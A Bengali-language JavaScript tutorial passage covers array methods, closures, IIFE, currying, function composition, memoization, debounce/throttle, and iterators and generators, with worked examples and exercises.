Problem Requirement: numbers = [2, 4, 6, 8] অ্যারে থেকে map() ব্যবহার করে প্রতিটি সংখ্যাকে দ্বিগুণ করে [4, 8, 12, 16] নতুন অ্যারে তৈরি করুন।
const numbers = [2, 4, 6, 8];
// Pure transformation using map()
const doubled = numbers.map(num => num * 2);
console.log("Original:", numbers);
console.log("Doubled:", doubled);
Original: [2, 4, 6, 8] Doubled: [4, 8, 12, 16]
Problem Requirement: numbers = [10, 15, 20, 25, 30, 35] থেকে filter() ব্যবহার করে শুধুমাত্র ২০ বা তার বেশি সংখ্যাগুলো ফিল্টার করে বের করুন।
const numbers = [10, 15, 20, 25, 30, 35];
// Declarative filtering with pure predicate
const filtered = numbers.filter(num => num >= 20);
console.log("Result:", filtered);
Result: [20, 25, 30, 35]
Problem Requirement: numbers = [10, 20, 30, 40] থেকে reduce() ব্যবহার করে মোট যোগফল 100 বের করুন।
const numbers = [10, 20, 30, 40];
// Sum accumulation with initial value 0
const total = numbers.reduce((accumulator, current) => accumulator + current, 0);
console.log("Total Sum:", total);
Total Sum: 100
Problem Requirement: শিক্ষার্থীদের তালিকা থেকে filter() ব্যবহার করে শুধুমাত্র পাস করা শিক্ষার্থীদের (marks >= 40) আলাদা করুন।
const students = [
{ name: "A", marks: 80 },
{ name: "B", marks: 35 },
{ name: "C", marks: 70 },
{ name: "D", marks: 45 },
];
const passedStudents = students.filter(student => student.marks >= 40);
console.log("Passed Students:", passedStudents);
Passed Students: [
{ name: 'A', marks: 80 },
{ name: 'C', marks: 70 },
{ name: 'D', marks: 45 }
]
Problem Requirement: পণ্য তালিকা থেকে: ১. স্টকে থাকা পণ্য নির্বাচন করুন (stock > 0), ২. তাদের মূল্য বের করুন, এবং ৩. মোট স্টক পণ্যের মূল্য বের করতে মেথড চেইনিং পাইপলাইন তৈরি করুন।
const products = [
{ name: "Laptop", price: 80000, stock: 5 },
{ name: "Mouse", price: 1000, stock: 0 },
{ name: "Monitor", price: 20000, stock: 3 },
];
// Clean functional data pipeline
const totalInStockPrice = products
.filter(item => item.stock > 0)
.map(item => item.price * item.stock)
.reduce((sum, currentVal) => sum + currentVal, 0);
console.log("Total In-Stock Value: ৳", totalInStockPrice);
Total In-Stock Value: ৳ 460000
JavaScript Functional Programming-এর সামগ্রিক আর্কিটেকচার এবং মেথড প্রবাহের চূড়ান্ত চিত্র:
Chapter 6-এ আমরা Function-এর basic concept এবং Chapter 25-এ Functional JavaScript শিখেছি। এখন সেই foundation-এর ওপর দাঁড়িয়ে JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ advanced function concepts—Scope Chain, Closures, IIFE, Currying, Function Composition, Pipelines, Memoization এবং Throttling/Debouncing—নিখুঁতভাবে শিখব।
Scope হলো কোনো variable কোথা থেকে access করা যাবে তার সীমা। JavaScript-এ প্রধানত:
Global Scope Function Scope Block Scope Module Scope
Example:
let name = "Ripon";
function greet() {
console.log(name);
}
greet();
Ripon
কারণ greet() function তার বাইরের scope-এর name access করতে পারছে।
JavaScript-এ function যেখানে লেখা হয়েছে, সেই জায়গার scope-এর ওপর তার access নির্ভর করে। এটাকে বলা হয়: > Lexical Scope Example:
const name = "Ripon";
function outer() {
function inner() {
console.log(name);
}
inner();
}
outer();
Ripon
inner() তার parent scope এবং তার বাইরের scope থেকে variable খুঁজে নেয়।
যখন JavaScript কোনো variable খুঁজে, তখন সাধারণত:
Current Scope
↓
Parent Scope
↓
Grandparent Scope
↓
Global Scope
এভাবে খুঁজতে থাকে। Example:
const a = 10;
function outer() {
const b = 20;
function inner() {
const c = 30;
console.log(a);
console.log(b);
console.log(c);
}
inner();
}
outer();
10 20 30
এখন আসি এই chapter-এর সবচেয়ে গুরুত্বপূর্ণ concept-এ। > Closure হলো এমন একটি function, যা তার lexical scope-এর variable-গুলোকে মনে রাখতে পারে, এমনকি outer function execution শেষ হয়ে যাওয়ার পরেও। সহজভাবে:
Outer Function
↓
Inner Function
↓
Inner function remembers outer variables
function outer() {
let message = "Hello";
function inner() {
console.log(message);
}
return inner;
}
const greet = outer();
greet();
Hello
এখানে:
outer();
শেষ হয়ে গেছে। তারপরও:
greet();
message access করতে পারছে। এটাই Closure।
এই code:
function outer() {
let message = "Hello";
function inner() {
console.log(message);
}
return inner;
}
যখন:
const greet = outer();
হয়:
outer() ↓ message = "Hello" ↓ inner function তৈরি ↓ inner return ↓ greet → inner function
তারপর:
greet();
হলে:
greet() ↓ inner() ↓ message ↓ "Hello"
┌────────────────────────────┐
│ outer() │
│ │
│ message = "Hello" │
│ │
│ ┌────────────────────┐ │
│ │ inner() │ │
│ │ console.log(message)│ │
│ └────────────────────┘ │
│ │
└─────────────┬──────────────┘
│
↓
return inner
│
↓
const greet
│
↓
remembers message
ধরো ATM machine। User বাইরে থেকে সরাসরি account balance পরিবর্তন করতে পারবে না।
ATM Account
│
├── balance
│
├── deposit()
│
└── withdraw()
এখানে balance private রাখা যায় Closure দিয়ে।
function createAccount(initialBalance) {
let balance = initialBalance;
return {
deposit(amount) {
balance += amount;
},
withdraw(amount) {
if (amount <= balance) {
balance -= amount;
}
},
getBalance() {
return balance;
}
};
}
এখন:
const account = createAccount(1000);
account.deposit(500);
console.log(account.getBalance());
1500
কিন্তু:
console.log(account.balance);
undefined
কারণ balance directly accessible নয়।
Closure দিয়ে:
এটি অত্যন্ত গুরুত্বপূর্ণ example।
function createCounter() {
let count = 0;
return function() {
count++;
return count;
};
}
const counter = createCounter();
console.log(counter());
console.log(counter());
console.log(counter());
1 2 3
এখানে count কোথাও global variable নয়। তবুও function সেটাকে মনে রাখছে।
এখন:
const counter1 = createCounter();
const counter2 = createCounter();
console.log(counter1());
console.log(counter1());
console.log(counter2());
console.log(counter2());
1 2 1 2
কারণ প্রতিটি createCounter() আলাদা closure তৈরি করেছে।
counter1 → count = 2 counter2 → count = 2
দুটো আলাদা state।
function createGreeting(name) {
return function() {
console.log(`Hello ${name}`);
};
}
const greetRipon = createGreeting("Ripon");
const greetRahim = createGreeting("Rahim");
greetRipon();
greetRahim();
Hello Ripon Hello Rahim
প্রতিটি returned function নিজের name মনে রেখেছে।
যে function অন্য function তৈরি করে তাকে Function Factory বলা যায়। Example:
function createMultiplier(number) {
return function(value) {
return value * number;
};
}
এখন:
const double = createMultiplier(2);
const triple = createMultiplier(3);
console.log(double(10));
console.log(triple(10));
20 30
Discount calculator:
function createDiscount(rate) {
return function(price) {
return price - price * rate;
};
}
const tenPercentOff = createDiscount(0.10);
const twentyPercentOff = createDiscount(0.20);
console.log(tenPercentOff(1000));
console.log(twentyPercentOff(1000));
900 800
setTimeout()Closure asynchronous JavaScript-এও খুব গুরুত্বপূর্ণ।
function greetLater(name) {
setTimeout(function() {
console.log(`Hello ${name}`);
}, 1000);
}
greetLater("Ripon");
এক সেকেন্ড পরে:
Hello Ripon
setTimeout() callback name variable-টিকে মনে রেখেছে।
Browser-এ:
function setupButton(name) {
document
.getElementById("btn")
.addEventListener("click", function() {
console.log(`Hello ${name}`);
});
}
setupButton("Ripon");
Button click করলে:
Hello Ripon
এখানেও callback name মনে রেখেছে।
JavaScript-এ বহুল পরিচিত একটি ক্লাসিক ট্র্যাপ হলো লুপে var ব্যবহার করে Closure তৈরি করা:
var কীওয়ার্ড ফাংশন-স্কোপড হওয়ায় সবকটি টাইমআউট কলব্যাক একই ভ্যারিয়েবল রেফারেন্স শেয়ার করে। ফলে লুপ শেষ হয়ে i-এর মান যখন 4 হয়, তখন সব কলব্যাক একই মান 4 প্রিন্ট করে।
একটি classic problem:
for (var i = 1; i <= 3; i++) {
setTimeout(function() {
console.log(i);
}, 1000);
}
অনেক ক্ষেত্রে output হবে:
4 4 4
কারণ var function-scoped এবং callbacks একই variable binding-এর দিকে তাকিয়ে থাকে।
let ব্যবহার করলেModern JavaScript-এ (ES6+) ব্লক-স্কোপড let ব্যবহার করলে প্রতি লুপ ইটারেশনে একটি করে নতুন লেক্সিক্যাল বাইন্ডিং তৈরি হয়:
for (let i = 1; i <= 3; i++) {
setTimeout(function() {
console.log(i);
}, 1000);
}
1 2 3
কারণ let loop iteration-এর জন্য আলাদা binding তৈরি করে।
let প্রতিটি ইটারেশনের জন্য ক্লোজারের ভিতরে একটি স্বতন্ত্র মেমরি রেফারেন্স সংরক্ষণ করে, যা প্রত্যাশিত 1, 2, 3 আউটপুট নিশ্চিত করে।IIFE = Immediately Invoked Function Expression এমন function expression যা define করার সাথে সাথে execute হয়। Syntax:
(function() {
console.log("Hello");
})();
Hello
সাধারণ function:
function greet() {
console.log("Hello");
}
greet();
IIFE:
(function() {
console.log("Hello");
})();
এক statement-এর মধ্যেই:
Function তৈরি
↓
Immediately execute
(() => {
console.log("Hello from IIFE");
})();
Hello from IIFE
আগে JavaScript-এ module system শক্তিশালী হওয়ার আগে global namespace pollution এড়াতে IIFE অনেক ব্যবহার করা হতো। Example:
(function() {
const secret = "12345";
console.log(secret);
})();
বাইরে:
console.log(secret);
ReferenceError
কারণ secret IIFE-এর ভিতরের scope-এ আছে। বর্তমানে ES Modules অনেক ক্ষেত্রে এই কাজের আরও ভালো solution।
(function(name) {
console.log(`Hello ${name}`);
})("Ripon");
Hello Ripon
const counter = (function() {
let count = 0;
return {
increment() {
count++;
},
getCount() {
return count;
}
};
})();
ব্যবহার:
counter.increment();
counter.increment();
console.log(counter.getCount());
2
এখানে count বাইরে থেকে directly accessible নয়।
| Closure | IIFE |
|---|---|
| Scope মনে রাখে | Immediately execute হয় |
| সাধারণত returned function দেখা যায় | Function immediately run করে |
| Private state তৈরি করতে পারে | Private scope তৈরি করতে পারে |
| Long-lived হতে পারে | একবার execute হওয়া common |
createCounter() example | (function(){})() |
একটি গুরুত্বপূর্ণ বিষয়: > IIFE এবং Closure একই জিনিস নয়। IIFE হলো execution pattern। Closure হলো lexical environment ধরে রাখার behavior। একটি IIFE closure তৈরি করতেও পারে।
function outer() {
return function inner() {
return "Hello";
};
}
const result = outer();
console.log(result());
Hello
এটি closure, factory এবং currying-এর foundation।
Chapter 25-এ basic দেখেছিলাম। এবার গভীরভাবে বুঝি। Normal function:
function add(a, b, c) {
return a + b + c;
}
console.log(add(10, 20, 30));
Curried:
function add(a) {
return function(b) {
return function(c) {
return a + b + c;
};
};
}
console.log(add(10)(20)(30));
60
const add = a => b => c => a + b + c;
console.log(add(10)(20)(30));
60
ধরো:
const add = a => b => c => a + b + c;
আমরা partial function তৈরি করতে পারি:
const add10 = add(10);
তারপর:
console.log(add10(20)(30));
60
const calculateTax = rate => price =>
price * rate;
এখন:
const vat = calculateTax(0.15);
console.log(vat(1000));
console.log(vat(2000));
150 300
Partial application হলো কিছু argument আগে দিয়ে একটি নতুন function তৈরি করা।
function multiply(a, b, c) {
return a * b * c;
}
function multiplyBy(a) {
return function(b, c) {
return multiply(a, b, c);
};
}
const multiplyBy2 = multiplyBy(2);
console.log(multiplyBy2(3, 4));
24
| Currying | Partial Application |
|---|---|
| একবারে একটি argument | কিছু argument আগে দেওয়া যায় |
f(a)(b)(c) | f(a) → remaining args |
| Function transformation | Pre-configured function |
একটি function-এর output আরেকটি function-এর input হলে composition করা যায়।
const double = x => x * 2;
const square = x => x * x;
console.log(square(double(5)));
5 ↓ double ↓ 10 ↓ square ↓ 100
compose() Functionconst compose = (f, g) => value =>
f(g(value));
Example:
const double = x => x * 2;
const square = x => x * x;
const process = compose(square, double);
console.log(process(5));
100
এখানে:
process(5)
↓
double(5)
↓
10
↓
square(10)
↓
100
একাধিক function handle করার জন্য:
const compose = (...functions) => value =>
functions.reduceRight(
(result, fn) => fn(result),
value
);
এখন:
const double = x => x * 2;
const add10 = x => x + 10;
const square = x => x * x;
const process = compose(
square,
add10,
double
);
console.log(process(5));
400
Execution:
5 ↓ double → 10 ↓ add10 → 20 ↓ square → 400
pipe()pipe() সাধারণত left-to-right।
const pipe = (...functions) => value =>
functions.reduce(
(result, fn) => fn(result),
value
);
ব্যবহার:
const process = pipe(
double,
add10,
square
);
console.log(process(5));
400
compose() vs pipe()compose: right → left pipe: left → right
Example:
compose(square, add10, double)
Conceptually:
double → add10 → square
আর:
pipe(double, add10, square)
সরাসরি:
double → add10 → square
Memoization হলো কোনো expensive function-এর result cache করে রাখা। ধরো:
function square(n) {
console.log("Calculating...");
return n * n;
}
একই input বারবার দিলে বারবার calculation হচ্ছে। Memoization দিয়ে:
function memoize(fn) {
const cache = new Map();
return function(value) {
if (cache.has(value)) {
return cache.get(value);
}
const result = fn(value);
cache.set(value, result);
return result;
};
}
ব্যবহার:
const memoizedSquare = memoize(n => {
console.log("Calculating...");
return n * n;
});
console.log(memoizedSquare(5));
console.log(memoizedSquare(5));
Calculating... 25 25
দ্বিতীয়বার calculation হয়নি।
প্রথমবার:
5 ↓ Calculation ↓ 25 ↓ Cache
দ্বিতীয়বার:
5 ↓ Cache আছে? ↓ Yes ↓ 25
যেখানে calculation expensive:
তবে cache সবসময় memory ব্যবহার করে—তাই অযথা memoization করা উচিত নয়।
একটি function-এর মূল behavior না বদলে তার চারপাশে additional behavior যোগ করা যায়।
function greet(name) {
return `Hello ${name}`;
}
Decorator:
function logFunction(fn) {
return function(...args) {
console.log("Function called");
const result = fn(...args);
console.log("Function finished");
return result;
};
}
ব্যবহার:
const loggedGreet = logFunction(greet);
console.log(loggedGreet("Ripon"));
Function called Function finished Hello Ripon
Decorator-style wrapper দিয়ে করা যায়:
Logging Authentication Timing Caching Validation Permission checking Error handling
যেমন:
function withLogging(fn) {
return (...args) => {
console.log("Arguments:", args);
const result = fn(...args);
console.log("Result:", result);
return result;
};
}
function withTiming(fn) {
return (...args) => {
const start = performance.now();
const result = fn(...args);
const end = performance.now();
console.log(
`Execution time: ${end - start}ms`
);
return result;
};
}
ব্যবহার:
const calculate = withTiming(() => {
let total = 0;
for (let i = 0; i < 1000000; i++) {
total += i;
}
return total;
});
console.log(calculate());
এখানে wrapper function execution time measure করছে।
Debouncing খুব গুরুত্বপূর্ণ web development concept। ধরো search box:
User types: R Ri Rip Ripo Ripon
প্রতিটি keypress-এ API call করলে:
5 keystrokes ↓ 5 API requests
এটা unnecessary হতে পারে। Debounce বলে: > User typing থামানোর পর function execute করো। Basic implementation:
function debounce(fn, delay) {
let timer;
return function(...args) {
clearTimeout(timer);
timer = setTimeout(() => {
fn(...args);
}, delay);
};
}
const search = debounce(function(query) {
console.log("Searching:", query);
}, 500);
User:
R Ri Rip Ripo Ripon
দ্রুত type করলে previous timers cancel হবে। শেষে:
Searching: Ripon
একবার execute হতে পারে। React search box-এ এই concept খুব useful।
Throttling মানে নির্দিষ্ট সময়ের মধ্যে function সর্বোচ্চ একটি নির্দিষ্ট frequency-তে চালানো। যেমন scroll event:
User scroll করছে খুব দ্রুত ↓ অনেক scroll events ↓ Throttle ↓ নির্দিষ্ট interval-এ function
Basic:
function throttle(fn, delay) {
let waiting = false;
return function(...args) {
if (waiting) return;
fn(...args);
waiting = true;
setTimeout(() => {
waiting = false;
}, delay);
};
}
| Debounce | Throttle |
|---|---|
| শেষ event-এর পর execute | নির্দিষ্ট interval-এ execute |
| Search input | Scroll |
| Resize শেষে | Mouse movement |
| Typing | Continuous events |
সহজভাবে:
Debounce: "থামলে কাজ করো" Throttle: "চলতে থাকলেও নির্দিষ্ট সময় পরপর কাজ করো"
খেয়াল করো:
function debounce(fn, delay) {
let timer;
return function(...args) {
clearTimeout(timer);
timer = setTimeout(() => {
fn(...args);
}, delay);
};
}
এখানে returned function:
return function(...)
timer variable-টিকে মনে রাখছে। এটাই Closure-এর practical power।
আরেকটি strong example:
function createBankAccount(balance) {
return {
deposit(amount) {
balance += amount;
},
withdraw(amount) {
if (amount <= balance) {
balance -= amount;
}
},
getBalance() {
return balance;
}
};
}
এখানে:
balance
private। শুধু methods-এর মাধ্যমে access করা যাচ্ছে।
Encapsulation মানে data এবং সেই data-এর operations-কে একসাথে রাখা এবং internal implementation hide করা। Closure দিয়ে:
const account = createBankAccount(1000);
User জানে:
account.deposit(500);
account.withdraw(200);
account.getBalance();
কিন্তু internal:
balance
কীভাবে রাখা হয়েছে সেটা বাইরে থেকে directly manipulate করা যায় না।
Closure outer variables ধরে রাখতে পারে। তাই unnecessary বড় data ধরে রাখলে memory usage বাড়তে পারে। Example:
function createSomething() {
const hugeData = new Array(1000000).fill("data");
return function() {
console.log(hugeData.length);
};
}
Returned function hugeData-এর reference ধরে রাখছে। তাই closure ব্যবহার করার সময়: > প্রয়োজনের চেয়ে বেশি data unnecessarily ধরে রাখা উচিত নয়।
Closure ব্যবহারের সময় সচরাচর যেসব ভুল এবং ব্যাড-প্র্যাকটিস দেখা যায়:
let count = 0; // ❌ Global variable leakage
function increment() {
count++;
}
সঠিক সমাধান: ফাংশন স্কোপের ভেতরে প্রাইভেট স্টেট হিসেবে রাখা:
function createCounter() {
let count = 0; // ✅ Private lexical state
return () => ++count;
}
var ব্যবহারের ফাঁদfor (var i = 0; i < 3; i++) {
setTimeout(() => console.log(i), 100); // ❌ Output: 3, 3, 3
}
3 3 3
Modern JavaScript সমাধান: let দিয়ে পার-ইটারেশন ব্লক স্কোপিং নিশ্চিত করা:
for (let i = 0; i < 3; i++) {
setTimeout(() => console.log(i), 100); // ✅ Output: 0, 1, 2
}
0 1 2
function createPermission(role) {
return function(action) {
if (role === "admin") {
return true;
}
if (role === "editor" && action === "edit") {
return true;
}
return false;
};
}
ব্যবহার:
const adminPermission = createPermission("admin");
const editorPermission = createPermission("editor");
console.log(adminPermission("delete"));
console.log(editorPermission("edit"));
console.log(editorPermission("delete"));
true true false
এখানে role closure-এর মাধ্যমে মনে রাখা হয়েছে।
function createIdGenerator() {
let id = 0;
return function() {
id++;
return id;
};
}
const generateId = createIdGenerator();
console.log(generateId());
console.log(generateId());
console.log(generateId());
1 2 3
এ ধরনের pattern application-level temporary state তৈরি করতে কাজে লাগতে পারে।
<button id="increase">+</button>
<button id="decrease">-</button>
<button id="reset">Reset</button>
<h2 id="display">0</h2>
function createCounter() {
let count = 0;
return {
increase() {
count++;
},
decrease() {
count--;
},
reset() {
count = 0;
},
getValue() {
return count;
}
};
}
const counter = createCounter();
const display = document.getElementById("display");
document.getElementById("increase").addEventListener("click", () => {
counter.increase();
display.textContent = counter.getValue();
});
document.getElementById("decrease").addEventListener("click", () => {
counter.decrease();
display.textContent = counter.getValue();
});
document.getElementById("reset").addEventListener("click", () => {
counter.reset();
display.textContent = counter.getValue();
});
এখানে:
createCounter()
↓
private count
↓
methods
↓
UI
এটি Closure + Encapsulation-এর real-world example।
Private state দু'ভাবেই করা যায়।
function createUser(name) {
return {
getName() {
return name;
}
};
}
Modern JavaScript class-এ private field:
class User {
#name;
constructor(name) {
this.#name = name;
}
getName() {
return this.#name;
}
}
দুটোরই use case আছে।
let count = 0;
function increment() {
count++;
}
যে code access করতে পারে, state modify করার সুযোগ পেতে পারে।
function createCounter() {
let count = 0;
return () => ++count;
}
count encapsulated থাকে।
Advanced Functions
│
┌───────────────┼────────────────┐
↓ ↓ ↓
Scope Closure IIFE
│ │ │
↓ ↓ ↓
Lexical Scope Private State Private Scope
Scope Chain Factory Immediate Execute
│ │
└───────┬───────┘
↓
Function Returning Function
│
┌────────┴─────────┐
↓ ↓
Currying Partial Application
│
↓
Function Composition
│
┌───┴────┐
↓ ↓
compose() pipe()
│
↓
Advanced Patterns
│
┌─┼──────────────┬────────────┐
↓ ↓ ↓ ↓
Memoization Decorator Debounce
│
↓
Throttle
Chapter 26 থেকে ইন্টারভিউ ও প্রোডাকশন কোডিংয়ের জন্য অপরিহার্য মূল বিষয়গুলোর সারসংক্ষেপ:
setTimeout, ইভেন্ট লিসেনার ও ডিবাউন্সারে স্টেট ধরে রাখা।(function() { ... })(); বা অ্যারো সিনট্যাক্স (() => { ... })();f(a, b, c)-কে রূপান্তর করে f(a)(b)(c) এ একবারে একটি আর্গুমেন্ট গ্রহণকারী ফাংশন চেইন বানানো।compose(f, g)(x) = f(g(x)) (Right to Left ডেটা ট্রান্সফরমেশন)।pipe(f, g)(x) = g(f(x)) (Left to Right স্বাভাবিক পঠনযোগ্য ডেটা পাইপলাইন)।Chapter 26-এর ৯টি প্রধান ফাংশনাল প্যাটার্নের আল্ট্রা-কম্প্যাক্ট প্রোডাকশন রেফারেন্স:
// Closure
function outer() {
let value = 10;
return function() {
return value;
};
}
// IIFE
(function() {
console.log("Run");
})();
// Currying
const add = a => b => a + b;
add(10)(20);
// Function Factory
const multiplyBy = x => y => x * y;
const double = multiplyBy(2);
// Composition
const compose = (f, g) => x => f(g(x));
// Pipe
const pipe = (...fns) => x =>
fns.reduce((v, fn) => fn(v), x);
// Memoization
const cache = new Map();
// Debounce
clearTimeout(timer);
timer = setTimeout(fn, delay);
// Throttle
if (waiting) return;
Closure, Currying, Composition এবং Rate Limiting কনসেপ্টগুলোকে সম্পূর্ণ আয়ত্তে আনতে নিচে ৭টি প্র্যাকটিক্যাল চ্যালেঞ্জের সম্পূর্ণ মডেল সলিউশন দেওয়া হলো:
Problem Requirement: এমন createCounter() ফাংশন তৈরি করো যাতে প্রতিবার কল করলে 1, 2, 3 রিটার্ন করে এবং ভেতরের কাউন্ট বাইরে থেকে মডিফাই করা না যায়।
function createCounter() {
let count = 0; // Private state
return function() {
count++;
return count;
};
}
const counter = createCounter();
console.log(counter()); // 1
console.log(counter()); // 2
console.log(counter()); // 3
1 2 3
Problem Requirement: createAccount(5000) ফাংশন তৈরি করো যার মধ্যে deposit(amount), withdraw(amount) এবং getBalance() মেথড থাকবে।
function createAccount(initialBalance) {
let balance = initialBalance; // Encapsulated private balance
return {
deposit(amount) {
balance += amount;
return balance;
},
withdraw(amount) {
if (amount <= balance) {
balance -= amount;
} else {
console.log("Insufficient funds");
}
return balance;
},
getBalance() {
return balance;
}
};
}
const account = createAccount(5000);
account.deposit(1000);
account.withdraw(500);
console.log("Final Balance:", account.getBalance());
Final Balance: 5500
Problem Requirement: একটি createMultiplier(multiplier) ফাংশন ফ্যাক্টরি তৈরি করো যা নতুন মাল্টিপ্লায়ার ফাংশন জেনারেট করে।
const createMultiplier = multiplier => number => number * multiplier;
const triple = createMultiplier(3);
const quadruple = createMultiplier(4);
console.log("Triple 10:", triple(10));
console.log("Quadruple 5:", quadruple(5));
Triple 10: 30 Quadruple 5: 20
Problem Requirement: কারিং স্টাইলে add(10)(20)(30) কল করে 60 আউটপুট পাওয়ার মতো ফাংশন তৈরি করো।
const add = a => b => c => a + b + c;
const result = add(10)(20)(30);
console.log("Curried Add Result:", result);
// Partial utilization
const add10 = add(10);
const add10And20 = add10(20);
console.log("Partially Applied Result:", add10And20(30));
Curried Add Result: 60 Partially Applied Result: 60
Problem Requirement: double, add10, square তিনটি ফাংশনকে pipe() দিয়ে যুক্ত করে 5 থেকে 400 ফলাফল তৈরি করো (5 → 10 → 20 → 400)।
const pipe = (...fns) => initialVal =>
fns.reduce((val, fn) => fn(val), initialVal);
const double = x => x * 2;
const add10 = x => x + 10;
const square = x => x * x;
const compute = pipe(double, add10, square);
console.log("Pipeline Output (5 -> 10 -> 20 -> 400):", compute(5));
Pipeline Output (5 -> 10 -> 20 -> 400): 400
Problem Requirement: এমন memoize(fn) ফাংশন তৈরি করো যাতে একই আর্গুমেন্ট দিলে পূর্বে ক্যাশ করা মান ফেরত আসে এবং পুনরায় ক্যালকুলেশন না হয়।
function memoize(fn) {
const cache = new Map();
return function(...args) {
const key = JSON.stringify(args);
if (cache.has(key)) {
console.log("[Cache Hit] Returning cached result for:", key);
return cache.get(key);
}
console.log("[Computing] Calculating fresh result for:", key);
const result = fn(...args);
cache.set(key, result);
return result;
};
}
const slowSquare = n => n * n;
const memoizedSquare = memoize(slowSquare);
console.log(memoizedSquare(12)); // Computing
console.log(memoizedSquare(12)); // Cache Hit
[Computing] Calculating fresh result for: [12] 144 [Cache Hit] Returning cached result for: [12] 144
Problem Requirement: একটি debounce(fn, delay) ফাংশন তৈরি করো যা ইউজার টাইপিং থামানোর 500ms পর এক্সিকিউট হবে।
function debounce(fn, delay) {
let timer;
return function(...args) {
clearTimeout(timer); // Cancel previous timer
timer = setTimeout(() => {
fn.apply(this, args);
}, delay);
};
}
const performSearch = debounce(query => {
console.log("Searching:", query);
}, 500);
// Simulating rapid user typing
performSearch("R");
performSearch("Ri");
performSearch("Rip");
performSearch("Ripon"); // Only this triggers after 500ms
Searching: Ripon
JavaScript Advanced Functions-এর মানসিক মডেল এবং কনসেপ্টসমূহের প্রাকৃতিক সংযোগ প্রবাহ:
Scope ↓ Lexical Scope ↓ Closure ↓ Private State ↓ Function Factory ↓ IIFE ↓ Function Returning Function ↓ Currying ↓ Partial Application ↓ Composition ↓ Memoization ↓ Decorator ↓ Debounce / Throttle
JavaScript-এ ডেটা ক্রমান্বয়ে অ্যাক্সেস করার পেছনে একটি শক্তিশালী অন্তর্নিহিত মেকানিজম কাজ করে—যার নাম Iteration Protocols। এই চ্যাপ্টারে আমরা Iterable, Iterator, Symbol.iterator, Generator Functions (function*), yield, Lazy Evaluation এবং ইনফিনিট স্ট্রিম প্রসেসিংয়ের গভীরতম খুঁটিনাটি একদম বাস্তব উদাহরণসহ নিখুঁতভাবে শিখব।
ধরো আমাদের কাছে:
const numbers = [10, 20, 30, 40];
আমরা লিখতে পারি:
for (const number of numbers) {
console.log(number);
}
Output:
10 20 30 40
কিন্তু প্রশ্ন হলো: > JavaScript কীভাবে জানে যে array-এর কোন value আগে দিতে হবে এবং কোনটা পরে দিতে হবে? এর পেছনে আছে Iterator।
Iterable হলো এমন কোনো value যেটাকে একটার পর একটা করে iterate করা যায়। Common iterable:
Array String Map Set TypedArray Generator
Example:
const numbers = [10, 20, 30];
for (const number of numbers) {
console.log(number);
}
Array হলো iterable।
const word = "HELLO";
for (const letter of word) {
console.log(letter);
}
Output:
H E L L O
কারণ String-ও iterable।
Symbol.iteratorIterable object-এর একটি বিশেষ method থাকে:
Symbol.iterator
Array-এর ক্ষেত্রে:
const numbers = [10, 20, 30];
console.log(numbers[Symbol.iterator]);
Output function-এর মতো কিছু দেখতে পারো:
[Function: values]
এই method একটি iterator return করে।
Iterator হলো এমন একটি object যেটা sequentially values provide করে। একটি iterator-এর মূল method:
next()
Example:
const numbers = [10, 20, 30];
const iterator = numbers[Symbol.iterator]();
console.log(iterator.next());
console.log(iterator.next());
console.log(iterator.next());
console.log(iterator.next());
Output:
{ value: 10, done: false }
{ value: 20, done: false }
{ value: 30, done: false }
{ value: undefined, done: true }
next() কী return করে?প্রতিবার next() একটি object return করে:
{
value: ...,
done: ...
}
দুটি property:
| Property | অর্থ |
|---|---|
value | বর্তমান value |
done | iteration শেষ হয়েছে কিনা |
done বুঝিconst numbers = [10, 20];
const iterator = numbers[Symbol.iterator]();
console.log(iterator.next());
console.log(iterator.next());
console.log(iterator.next());
Output:
{ value: 10, done: false }
{ value: 20, done: false }
{ value: undefined, done: true }
শেষে:
done: true
মানে: > আর কোনো value নেই।
const numbers = [100, 200, 300];
const iterator = numbers[Symbol.iterator]();
let result = iterator.next();
while (!result.done) {
console.log(result.value);
result = iterator.next();
}
Output:
100 200 300
অর্থাৎ for...of মূলত এই ধরনের iteration mechanism ব্যবহার করে।
for...of কীভাবে কাজ করে?তুমি লিখলে:
for (const number of numbers) {
console.log(number);
}
Conceptually:
numbers ↓ Symbol.iterator ↓ iterator ↓ next() ↓ value ↓ next() ↓ value ↓ done === true
অর্থাৎ:
for...of
এর পেছনে iterator protocol কাজ করছে।
এটা খুব গুরুত্বপূর্ণ।
যার কাছে:
Symbol.iterator
থাকে।
যার কাছে:
next()
থাকে। সহজভাবে:
Iterable → Iterator তৈরি করতে পারে Iterator → next() দিয়ে value দেয়
const arr = [1, 2, 3];
const iterator = arr[Symbol.iterator]();
console.log(typeof arr[Symbol.iterator]);
console.log(typeof iterator.next);
Output:
function function
এখন আমরা নিজের Iterator বানাবো। ধরো:
10 20 30
আমরা চাই object-টাকে for...of দিয়ে iterate করতে।
const numbers = {
values: [10, 20, 30],
[Symbol.iterator]() {
let index = 0;
return {
next: () => {
if (index < this.values.length) {
return {
value: this.values[index++],
done: false
};
}
return {
value: undefined,
done: true
};
}
};
}
};
এখন:
for (const number of numbers) {
console.log(number);
}
Output:
10 20 30
আমরা বললাম:
[Symbol.iterator]()
যখন call হবে, তখন একটা iterator return করবে। Iterator-এর:
next()
method আছে। তারপর for...of বারবার next() call করে।
একটু ছোট করে:
const range = {
start: 1,
end: 5,
[Symbol.iterator]() {
let current = this.start;
return {
next: () => {
if (current <= this.end) {
return {
value: current++,
done: false
};
}
return {
done: true
};
}
};
}
};
for (const number of range) {
console.log(number);
}
Output:
1 2 3 4 5
ধরো API থেকে data আসে:
Page 1 Page 2 Page 3 Page 4
Iterator concept দিয়ে আমরা page-by-page data process করতে পারি।
Page 1 → process Page 2 → process Page 3 → process ...
সব data একসাথে memory-তে রাখার প্রয়োজন নাও হতে পারে। এখান থেকেই আসে lazy processing।
Generator হলো JavaScript-এর এমন একটি special function যেটা execution pause এবং resume করতে পারে। Generator function লিখতে:
function*
ব্যবহার করা হয়। Example:
function* numbers() {
yield 10;
yield 20;
yield 30;
}
function* numbers() {
yield 10;
yield 20;
yield 30;
}
const generator = numbers();
console.log(generator.next());
console.log(generator.next());
console.log(generator.next());
console.log(generator.next());
Output:
{ value: 10, done: false }
{ value: 20, done: false }
{ value: 30, done: false }
{ value: undefined, done: true }
yield কী?yield generator-এর execution pause করে।
function* test() {
console.log("Step 1");
yield "Hello";
console.log("Step 2");
yield "World";
console.log("Step 3");
}
এখন:
const generator = test();
console.log(generator.next());
console.log(generator.next());
console.log(generator.next());
Output roughly:
Step 1
{ value: "Hello", done: false }
Step 2
{ value: "World", done: false }
Step 3
{ value: undefined, done: true }
generator start
↓
yield 1
↓
pause
↓
next()
